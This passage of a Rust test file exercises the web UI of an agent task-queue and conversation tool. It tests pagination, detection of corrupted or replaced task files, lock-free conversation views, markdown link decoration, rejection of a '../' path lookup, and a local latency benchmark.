27836 .0,
27837 )
27838 .unwrap();
27839 assert_eq!(page["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
27840 assert_eq!(page["rows"][0]["id"], "20261019-000999-page");
27841 assert!(
27842 !page["rows"][0]["stuck_roots"]
27843 .as_array()
27844 .unwrap()
27845 .is_empty()
27846 );
27847 let cursor = page["next"].as_str().unwrap();
27848 let last_id = page["rows"].as_array().unwrap().last().unwrap()["id"]
27849 .as_str()
27850 .unwrap();
27851 std::fs::remove_file(queue.path_of(last_id)).unwrap();
27853 let next = serde_json::to_value(
27854 queue_page(
27855 State(ui.clone()),
27856 Query(PageQuery {
27857 before: Some(cursor.into()),
27858 }),
27859 )
27860 .await
27861 .unwrap()
27862 .0,
27863 )
27864 .unwrap();
27865 assert_eq!(next["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
27866 assert!(next["rows"][0]["id"].as_str().unwrap() < last_id);
27867 let chats = serde_json::to_value(
27868 talks_page(
27869 State(ui.clone()),
27870 Query(PageQuery::default()),
27871 header::HeaderMap::new(),
27872 )
27873 .await
27874 .unwrap()
27875 .0,
27876 )
27877 .unwrap();
27878 assert_eq!(chats["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
27879 assert!(chats["rows"][0].get("pending").is_none());
27880 assert!(chats["rows"][0].get("turn_bodies_md").is_none());
27881 let counts = serde_json::to_value(stats_queue(State(ui)).await.unwrap().0).unwrap();
27882 assert_eq!(counts["held"], 1);
27883 assert_eq!(counts["blocked"], 1);
27884 assert_eq!(counts["queued"], 997);
27885 }
27886
27887 #[test]
27888 fn queue_index_observes_external_replacement_deletion_and_corruption() {
27889 let dir = tempfile::tempdir().unwrap();
27890 let ui = delta_test_ui(dir.path());
27891 let mut task = Task::new(
27892 "task".into(),
27893 "body".into(),
27894 PathBuf::from("/repo"),
27895 Source::Human,
27896 );
27897 task.runs = vec!["run-a".into()];
27898 ui.queue.put(&mut task).unwrap();
27899 assert!(ui.find_task_for_run("run-a").unwrap().is_some());
27900 task.runs = vec!["run-b".into()];
27901 let path = ui.queue.path_of(&task.id);
27902 let modified = path.metadata().unwrap().modified().unwrap();
27903 let replacement = path.with_extension("replacement");
27904 let bytes = serde_json::to_vec_pretty(&task).unwrap();
27905 assert_eq!(bytes.len() as u64, path.metadata().unwrap().len());
27906 std::fs::write(&replacement, &bytes).unwrap();
27907 std::fs::File::options()
27908 .write(true)
27909 .open(&replacement)
27910 .unwrap()
27911 .set_times(std::fs::FileTimes::new().set_modified(modified))
27912 .unwrap();
27913 std::fs::rename(&replacement, &path).unwrap();
27914 assert!(ui.find_task_for_run("run-a").unwrap().is_none());
27915 assert!(ui.find_task_for_run("run-b").unwrap().is_some());
27916 std::fs::write(&path, "broken").unwrap();
27917 assert!(ui.find_task_for_run("run-b").is_err());
27918 std::fs::write(&path, bytes).unwrap();
27919 assert!(ui.find_task_for_run("run-b").unwrap().is_some());
27920 std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
27921 assert!(ui.find_task_for_run("run-b").unwrap().is_none());
27922 }
27923
27924 #[tokio::test]
27925 async fn conversation_core_is_independent_of_unreadable_related_history() {
27926 let home = tempfile::tempdir().unwrap();
27927 let ui = delta_test_ui(home.path());
27928 let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
27929 std::fs::create_dir_all(ui.queue.root()).unwrap();
27930 std::fs::write(ui.queue.root().join("unreadable.json"), "broken").unwrap();
27931 let Json(core) = talk_core(State(ui.clone()), Path(id.clone()))
27932 .await
27933 .unwrap();
27934 assert_eq!(core.talk.id, id);
27935 assert!(talk_sections(State(ui), Path(id)).await.is_ok());
27936 }
27937
27938 #[test]
27939 fn conversation_core_ignores_worker_store_lock_and_busy_secondary_pool() {
27940 let home = tempfile::tempdir().unwrap();
27941 let ui = delta_test_ui(home.path());
27942 let id = seed_talk_at(&ui.talks, "20261019-000000-cafe", "open");
27943 let directory = home.path().join("workers/jobs/abcdef");
27944 std::fs::create_dir_all(&directory).unwrap();
27945 let job = crate::worker::Job {
27946 id: "abcdef".into(),
27947 sequence: 1,
27948 kind: "chat".into(),
27949 key: id.clone(),
27950 payload: serde_json::json!({ "talk": id }),
27951 generation: "test".into(),
27952 version: None,
27953 status: crate::worker::Status::Running,
27954 result: None,
27955 pid: None,
27956 created_at: 0,
27957 finished_at: None,
27958 };
27959 std::fs::write(
27960 directory.join("job.json"),
27961 serde_json::to_vec(&job).unwrap(),
27962 )
27963 .unwrap();
27964 let live = crate::worker::execution_lease_for_test(&directory.join("live.lock"));
27965 let store =
27966 crate::worker::execution_lease_for_test(&home.path().join("workers/store.lock"));
27967 let runtime = tokio::runtime::Builder::new_current_thread()
27968 .enable_all()
27969 .max_blocking_threads(1)
27970 .build()
27971 .unwrap();
27972 runtime.block_on(async {
27973 let (release, held) = std::sync::mpsc::channel();
27974 let (started, ready) = tokio::sync::oneshot::channel();
27975 let occupied = tokio::task::spawn_blocking(move || {
27976 started.send(()).unwrap();
27977 held.recv().unwrap();
27978 });
27979 ready.await.unwrap();
27980 let secondary = tokio::spawn(talk_sections(State(ui.clone()), Path(id.clone())));
27981 let bulk = ui
27982 .monitor
27983 .bulk_slots
27984 .clone()
27985 .acquire_many_owned(2)
27986 .await
27987 .unwrap();
27988 let result = tokio::time::timeout(
27989 Duration::from_secs(2),
27990 talk_core(State(ui.clone()), Path(id.clone())),
27991 )
27992 .await;
27993 drop(store);
27995 drop(bulk);
27996 release.send(()).unwrap();
27997 occupied.await.unwrap();
27998 let _ = secondary.await.unwrap().unwrap();
27999 let Json(core) = result
28000 .expect("transcript must bypass secondary work and the worker store lock")
28001 .unwrap();
28002 assert!(
28003 core.thinking,
28004 "read-only observation retains live worker state"
28005 );
28006 assert_eq!(core.talk.id, id);
28007 let admission_ui = ui.clone();
28008 let (release, held) = std::sync::mpsc::channel();
28009 let (started, ready) = tokio::sync::oneshot::channel();
28010 let admission = std::thread::spawn(move || {
28011 let _lock = admission_ui.talk_turns.lock().unwrap();
28012 started.send(()).unwrap();
28013 held.recv().unwrap();
28014 });
28015 ready.await.unwrap();
28016 let result = tokio::time::timeout(
28017 Duration::from_secs(2),
28018 talk_core(State(ui.clone()), Path(id.clone())),
28019 )
28020 .await;
28021 release.send(()).unwrap();
28022 admission.join().unwrap();
28023 assert!(
28024 result
28025 .expect("display must not wait behind local admission")
28026 .unwrap()
28027 .0
28028 .thinking
28029 );
28030 assert!(ui.is_thinking(&id));
28031 assert!(ui.is_thinking_observed(&id));
28032 drop(live);
28033 assert!(
28034 !ui.is_thinking_observed(&id),
28035 "a finished lease no longer appears live"
28036 );
28037 assert!(!ui.is_thinking(&id));
28038 let _turn = ui.begin_talk_turn(&id).unwrap().unwrap();
28039 assert!(
28040 ui.is_thinking_observed(&id),
28041 "local admission remains visible"
28042 );
28043 });
28044 }
28045
28046 #[tokio::test]
28047 async fn conversation_core_defers_store_links_but_preserves_markdown_and_provenance() {
28048 let home = tempfile::tempdir().unwrap();
28049 let ui = delta_test_ui(home.path());
28050 let id = seed_talk_at(&ui.talks, "20261019-000000-cafe", "open");
28051 let mut task = Task::new(
28052 "Referenced task".into(),
28053 "Unrelated instruction history".repeat(1024),
28054 home.path().into(),
28055 Source::Human,
28056 );
28057 task.id = "20261019-000000-abcd".into();
28058 ui.queue.put(&mut task).unwrap();
28059 let mut conversation = ui.talks.get(&id).unwrap();
28060 conversation.turns.push(talk::Turn {
28061 sender: Some(talk::Sender::Persona),
28062 who: talk::Who::Agent,
28063 body: "**Useful transcript** task@abcd and R2-1-3\n\n| Reference |\n| --- |\n| `abcd` |\n\n- task@abcd\n\n```\ntask@abcd\n```".into(),
28064 at: conversation.created_at,
28065 attachments: Vec::new(),
28066 usage: None,
28067 breaks: None,
28068 messages: Vec::new(),
28069 posted_by: None,
28070 });
28071 ui.talks.put(&mut conversation).unwrap();
28072
28073 let Json(core) = talk_core(State(ui.clone()), Path(id)).await.unwrap();
28074 let markdown = serde_json::to_value(&core.turn_bodies_md)
28075 .unwrap()
28076 .to_string();
28077 assert!(markdown.contains("\"strong\""));
28078 assert!(markdown.contains("\"table\""));
28079 assert!(markdown.contains("\"bullet_list\""));
28080 assert!(markdown.contains("\"code_block\""));
28081 assert!(!markdown.contains("\"internal_link\""));
28082 assert_eq!(core.talk.turns[0].sender, Some(talk::Sender::Persona));
28083 assert_eq!(core.talk.turns[0].body, conversation.turns[0].body);
28084 assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, 0);
28085
28086 let references = ui.references.for_talk(home.path(), &conversation);
28089 let mut decorated = core.turn_bodies_md[0].clone();
28090 references.markdown(&mut decorated);
28091 let decorated = serde_json::to_value(decorated).unwrap().to_string();
28092 assert_eq!(decorated.matches("\"internal_link\"").count(), 3);
28093 assert!(decorated.contains(&format!("#/tasks/{}", task.id)));
28094 assert_eq!(
28095 ui.talks.get(&conversation.id).unwrap().turns[0].body,
28096 conversation.turns[0].body
28097 );
28098 }
28099
28100 #[tokio::test]
28101 async fn unrelated_corrupt_task_does_not_break_run_or_talk_relationships() {
28102 let home = tempfile::tempdir().unwrap();
28103 let ui = delta_test_ui(home.path());
28104 let talk_id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
28105 let mut run = RunState::new(
28106 PathBuf::from("/repo"),
28107 "main".into(),
28108 "01234567".into(),
28109 "Useful run".into(),
28110 Config::default(),
28111 );
28112 run.save_under(home.path()).unwrap();
28113 let mut task = Task::new(
28114 "Related".into(),
28115 "body".into(),
28116 PathBuf::from("/repo"),
28117 Source::Agent {
28118 run: talk_id.clone(),
28119 node: "chat".into(),
28120 },
28121 );
28122 task.runs = vec![run.id.clone()];
28123 ui.queue.put(&mut task).unwrap();
28124 std::fs::write(ui.queue.root().join("unrelated.json"), "broken").unwrap();
28125 assert_eq!(ui.find_task_for_run(&run.id).unwrap().unwrap().id, task.id);
28126 assert_eq!(ui.find_tasks_for_talk(&talk_id).unwrap()[0].id, task.id);
28127 assert!(
28128 run_detail(State(ui.clone()), Path(run.id.clone()))
28129 .await
28130 .is_ok()
28131 );
28132 assert!(
28133 talk_sections(State(ui.clone()), Path(talk_id.clone()))
28134 .await
28135 .is_ok()
28136 );
28137 std::fs::write(ui.queue.path_of(&task.id), "broken").unwrap();
28139 assert!(ui.find_task_for_run(&run.id).is_err());
28140 assert!(ui.find_tasks_for_talk(&talk_id).is_err());
28141 ui.queue.put(&mut task).unwrap();
28142 assert!(ui.find_task_for_run(&run.id).unwrap().is_some());
28143 }
28144
28145 #[tokio::test]
28146 async fn conversation_sections_omit_large_task_instructions() {
28147 let home = tempfile::tempdir().unwrap();
28148 let ui = delta_test_ui(home.path());
28149 let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
28150 let mut task = Task::new(
28151 "filed task".into(),
28152 "large instruction ".repeat(65536),
28153 PathBuf::from("/repo"),
28154 Source::Agent {
28155 run: id.clone(),
28156 node: "chat".into(),
28157 },
28158 );
28159 ui.queue.put(&mut task).unwrap();
28160 let Json(sections) = talk_sections(State(ui), Path(id)).await.unwrap();
28161 assert_eq!(sections["tasks"][0]["id"], task.id);
28162 assert_eq!(sections["tasks"][0]["status_str"], task.status.as_str());
28163 assert!(sections["tasks"][0].get("instruction").is_none());
28164 assert!(serde_json::to_vec(§ions).unwrap().len() < 8192);
28165 }
28166
28167 #[test]
28168 fn exact_record_lookup_rejects_paths_and_preserves_short_id_ambiguity() {
28169 let home = tempfile::tempdir().unwrap();
28170 let talks = Talks::at(home.path().join("talks"));
28171 seed_talk_at(&talks, "20261019-000001-abcd", "open");
28172 seed_talk_at(&talks, "20261019-000002-abcd", "open");
28173 std::fs::write(home.path().join("outside.json"), "{}").unwrap();
28174 assert!(resolve_talk(&talks, "../outside").is_err());
28175 assert!(resolve_talk(&talks, "abcd").is_err());
28176 assert_eq!(
28177 resolve_talk(&talks, "20261019-000001-abcd").unwrap(),
28178 "20261019-000001-abcd"
28179 );
28180 }
28181
28182 include!(concat!(
28183 env!("CARGO_MANIFEST_DIR"),
28184 "/tests/web_latency/baseline.rs"
28185 ));
28186
28187 include!(concat!(
28188 env!("CARGO_MANIFEST_DIR"),
28189 "/tests/web_latency/lists.rs"
28190 ));
28191
28192 #[tokio::test]
28193 #[ignore = "local performance measurement; see docs/web-responsiveness.md"]
28194 async fn web_history_latency_measurement() {
28195 use std::time::Instant;
28196 let home = tempfile::tempdir().unwrap();
28197 let ui = delta_test_ui(home.path());
28198 let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
28199 let mut template = ui.talks.get(&id).unwrap();
28200 template.turns = serde_json::from_value(serde_json::json!([{
28201 "who": "operator", "body": "Show the accumulated work and its current status.",
28202 "at": Timestamp::now().to_string(),
28203 }]))
28204 .unwrap();
28205 std::fs::write(
28206 ui.talks.path_of(&id),
28207 serde_json::to_vec(&template).unwrap(),
28208 )
28209 .unwrap();
28210 let count = std::env::var("MAGI_BENCH_RECORDS")
28211 .ok()
28212 .and_then(|s| s.parse::<usize>().ok())
28213 .unwrap_or(1000);
28214 for i in 0..count {
28215 template.id = format!("20261019-{i:06}-history");
28216 template.pending = "history ".repeat(2048);
28217 std::fs::write(
28218 ui.talks.path_of(&template.id),
28219 serde_json::to_vec(&template).unwrap(),
28220 )
28221 .unwrap();
28222 let mut task = Task::new(
28223 "old task".into(),
28224 "instruction ".repeat(2048),
28225 PathBuf::from("/repo"),
28226 Source::Human,
28227 );
28228 task.id = format!("20261019-{i:06}-task");
28229 ui.queue.put(&mut task).unwrap();
28230 }
28231 for baseline in [true, false] {
28232 for clients in [1, 4] {
28233 let parsed_before = ui.monitor.queue_index.lock().unwrap().reparsed;
28234 let mut samples = Vec::new();
28235 for _ in 0..12 {
28236 let mut jobs = Vec::new();
28237 for _ in 0..clients {
28238 let ui = ui.clone();
28239 let id = id.clone();
28240 jobs.push(tokio::spawn(async move {
28241 let start = Instant::now();
28242 if baseline {
28243 let response =
28244 baseline_talk_detail(State(ui), Path(id)).await.unwrap().0;
28245 let elapsed = start.elapsed().as_secs_f64() * 1000.0;
28246 return (
28247 elapsed,
28248 elapsed,
28249 serde_json::to_vec(&response).unwrap().len(),
28250 );
28251 }
28252 let core = talk_core(State(ui.clone()), Path(id.clone()));
28253 let secondary = talk_sections(State(ui), Path(id));
28254 let (first, total) = tokio::join!(
28255 async {
28256 let value = core.await.unwrap().0;
28257 (
28258 start.elapsed().as_secs_f64() * 1000.0,
28259 serde_json::to_vec(&value).unwrap().len(),
28260 )
28261 },
28262 async {
28263 let value = secondary.await.unwrap().0;
28264 (
28265 start.elapsed().as_secs_f64() * 1000.0,
28266 serde_json::to_vec(&value).unwrap().len(),
28267 )
28268 }
28269 );
28270 (first.0, first.0.max(total.0), first.1 + total.1)
28271 }));
28272 }
28273 for job in jobs {
28274 samples.push(job.await.unwrap());
28275 }
28276 }
28277 let mut first: Vec<_> = samples.iter().map(|s| s.0).collect();
28278 let mut total: Vec<_> = samples.iter().map(|s| s.1).collect();
28279 first.sort_by(f64::total_cmp);
28280 total.sort_by(f64::total_cmp);
28281 let n = first.len();
28282 let parsed = ui.monitor.queue_index.lock().unwrap().reparsed - parsed_before;
28283 println!(
28284 "baseline={baseline} records={count} clients={clients} first_ms p50={:.2} p95={:.2}; complete_ms p50={:.2} p95={:.2}; bytes={}; indexed_task_parses={parsed}",
28285 first[n / 2],
28286 first[(n * 95 / 100).min(n - 1)],
28287 total[n / 2],
28288 total[(n * 95 / 100).min(n - 1)],
28289 samples[0].2
28290 );
28291 }
28292 }
28293 }
28294
28295 #[test]
28296 fn app_js_contains_progressive_rendering_and_decoupled_reports() {
28297 assert!(!APP_JS.contains("Promise.allSettled([\n getJson(API.run(id)), getText(API.report(id)), getJson(API.reportJson(id))"));
28299 assert!(APP_JS.contains("function nextRunRequest(id)"));
28300 assert!(APP_JS.contains("function runShell(id, summary)"));
28301 assert!(APP_JS.contains("function nextTaskRequest(id)"));
28302 assert!(APP_JS.contains("function taskShell(id, summary)"));
28303 assert!(APP_JS.contains("state.detail.reportLoading = false;"));
28304 }
28305}